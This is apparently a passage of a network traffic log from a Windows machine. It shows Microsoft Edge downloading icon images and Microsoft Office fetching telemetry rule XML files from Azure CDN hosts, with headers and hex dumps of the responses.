2024-11-20 22:12:55 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:56 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:56 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 92d53bba-501e-0030-0e99-3b322d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T221255Z-r1d97b99577kk29chC1TEBemmg00000009mg000000001q2q Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 22:12:56 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:55 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:55 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 5a421824-101e-000b-7f18-3b5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221255Z-r1d97b99577hc74hhC1TEBvbns000000098000000000p1af x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:56 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:55 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:56 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:55 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: d5b120ed-d01e-0017-3f65-3bb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221255Z-178bfbc474bv7whqhC1NYC1fg400000000fg00000000hkep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:56 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	49880	13.107.246.40	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:55 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:56 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:56 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 4d308786-a01e-0025-2863-3bf0b4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T221256Z-1777c6cb754wcxkwhC1TEB3c6w0000000a1000000000vz1n Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:56 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	49881	13.107.246.40	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:55 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:56 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:56 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: ed73dd0d-d01e-006e-40d9-3ac12e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T221256Z-185f5d8b95cwtv72hC1NYC141w0000000ap0000000016gns Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:56 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.7	49878	13.107.246.40	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:56 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:56 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:56 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5000eb33-001e-006c-3387-3bc3d4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T221256Z-178bfbc474bpnd5vhC1NYC4vr400000000ng000000006uq4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:56 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:56 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:56 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221256Z-r1d97b99577n5jhbhC1TEB74vn00000009ag00000000u6wa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	49882	13.107.246.40	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:56 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:57 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:56 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: d956c487-b01e-0031-5a99-3b33d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T221256Z-178bfbc474bpnd5vhC1NYC4vr400000000pg0000000028ws Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 22:12:57 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	49879	13.107.246.40	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:56 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 22:12:57 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:56 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 33fb47a1-101e-0073-3999-3b18c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T221256Z-1777c6cb754n67brhC1TEBcp9c0000000a7g00000000kt8u Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 22:12:57 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:57 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:57 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221257Z-r1d97b9957744xz5hC1TEB5bf800000009eg000000001cye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:57 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:57 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:58 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:58 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221258Z-178bfbc474bxkclvhC1NYC69g400000000gg000000005cuf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	49887	20.190.181.5	443

Timestamp	Bytes transferred	Direction	Data
